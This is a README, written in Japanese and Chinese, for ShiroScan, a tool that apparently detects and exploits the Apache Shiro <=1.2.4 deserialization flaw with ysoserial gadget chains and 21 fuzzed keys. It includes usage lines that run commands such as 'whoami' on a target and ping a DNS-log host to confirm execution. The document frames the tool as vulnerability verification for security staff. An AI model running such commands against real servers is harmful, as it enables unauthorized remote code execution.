ShiroScan

Shiro<=1.2.4逆シリアライゼーション、ワンクリック検出ツール

改动内容：1.新增4个利用链模块(CommonsCollections7-10)，预计增加成功率30%，已打包成新ysoserial的jar包，请勿更换
改动内容：2.增加多线程，虽模块增加但速度却提高300%

集成21个key进行fuzz

• 役に立ったら、スターを押してくださいね。対応するブログ記事：http://www.svenbeast.com/post/tskRKJIPg/

• pip3 install -r requirments.txt

• 使い方：python3 shiro.py url command

• 使い方：python3 shiro.py https://url.com whoami

• http://www.dnslog.cn/ 検証にはこのdnslogプラットフォームを推奨します。ceye.ioより速度がはるかに速いです

• 実行するコマンドにスペースが含まれる場合は、引用符""で囲んでください

• 使い方：python3 shiro.py http://url.com "ping dnslog.cn"

• 11個のモジュールをすべて実行し、dnslogプラットフォームでリクエストが届いたか確認してください。届かなければGGです。エンコーディングがまだ足りない可能性もあります

• エンコーディングは自分で収集してください。mouleのソースコードに自分でメソッドを追加すればOKです

• スクリプト実行を簡単にするため、マルチスレッド数は利用者が引数で制御するのではなく、デフォルトで20スレッドです。変更が必要な場合は、/moule/main.py の20行目のコードで、スレッドを制御するパラメータを自分で変更してください

expとしての使用はお勧めしません。効率の問題

セキュリティ担当者のみが検証し、この脆弱性が存在するかテストしてください